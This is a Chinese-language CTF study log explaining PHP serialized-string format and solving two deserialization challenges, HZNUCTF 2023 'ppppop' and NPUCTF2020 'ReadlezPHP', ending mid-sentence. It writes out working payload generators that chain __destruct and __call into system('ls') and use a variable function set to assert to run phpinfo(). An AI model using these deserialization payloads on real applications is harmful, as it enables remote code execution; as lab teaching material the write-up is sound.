4.25日学习记录

发布于:2024-04-26 ⋅ 阅读:(31) ⋅ 点赞:(0)

[HZNUCTF 2023 preliminary]ppppop

对于php反序列化,在之前的学习中有过了解,但是对于序列化字符串的格式不是很了解,刚好接触这题,可以了解一下

序列化字符串的格式:
布尔型(bool) b:value
整数型(int) i:value
字符串型(str) s:length:"value"
数组型(array) a:length:{...}
对象型(object)
O:length:class_name:properties_number{...}
NULL型
序列化字符串中各部分的含义:

O:4:"User":1:{s:7:"isAdmin";b:0;}
//“O”代表序列化对象,说明我们序列化的部分是对象,如果序列化的是数组的话就是A
//“4”代表类的名字占4个字符
//“User”代表类名
//“1”代表具有一个属性(这个位置应该不陌生,在对wakeup魔术方法绕过时,就可以通过修改属性数量来绕过)
//“s”代表字符串
//“7”代表属性名长度
//“isAdmin”属性名
//“b”代表布尔型数据
//“0”代表布尔值

 明确了各部分的含义之后,在学习之后的字符逃逸时就会好理解一些

例题

打开环境一片空白

 正常的步骤,源代码,dirsearch,抓包,通过这三种方法来获取信息是比较方便有效的

cookie中有个user,不寻常,通过base64解密查看一下(就是刚刚分析的那个字符串)

页面是空的,可能是因为user中的布尔值是空的,改成1试一试

 出现了熟悉的反序列化,但是也有陌生的东西,只用二次翻转就可以了

strrev():

php函数,有反转字符串的功能

<?php
echo strrev("Hello World!");
?>

 分析代码,应该是想让我们通过class B 来进行命令执行,那么怎么触发call方法,A里面也没有不可访问的方法,但是可以注意到A中出现了一个实例化的过程,并且对三个属性都进行了调用,func和args就是B中执行的属性,所以是不是可以在A中实例化B来触发魔术方法,进行命令执行

构造payload

 <?php
class A {
    public $className="B";
    public $funcName="system";
    public $args="ls";
 
    public function __destruct() {
        $class = new $this->className;
        $funcName = $this->funcName;
        $class->$funcName($this->args);
    }
}
 
class B {
    public function __call($func, $arg) {
        $func($arg[0]);
    }
}
$a=new A;
echo base64_encode(strrev(serialize($a)));

?>

 目录下没有看见有效信息,看看环境变量env

 

 [NPUCTF2020]ReadlezPHP

php动态函数:

所谓动态函数,就是函数的名字用变量表示的函数。

function wel(){
    echo 'welcome';
}
$result = "wel";
$result();
//调用动态函数的方法:
定义一个变量名;
把函数名赋给变量名;
使用变量名代替函数名动态调用函数

 打开题目,查看源码

进入到source中,拿到一串源码,典型的反序列化

 <?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);


2024-04-25 01:45:07

这里涉及到使用动态函数,通过变量去调用,审查代码可以知道形式为b(a),那么a应该就是一个被执行的命令,b就是让这个字符串被当做命令执行,应该第一反应是eval,但是这里我们使用的是assert;

assert被认定为可变函数

<?php
    $a = 'assert';
	$a('phpinfo()');
?>
   # 这就是可变函数

 可变函数就是指通过变量来调用函数;assert会把字符串参数执行,这个功能和eval类似,但是要求没有eval那么严格

构造payload

<?php
class HelloPhp
{
    public $a;
    public $b;
}
$c = new HelloPhp();
$c->a = 'phpinfo()';
$c->b = 'assert';
echo serialize($c);

在phpinfo中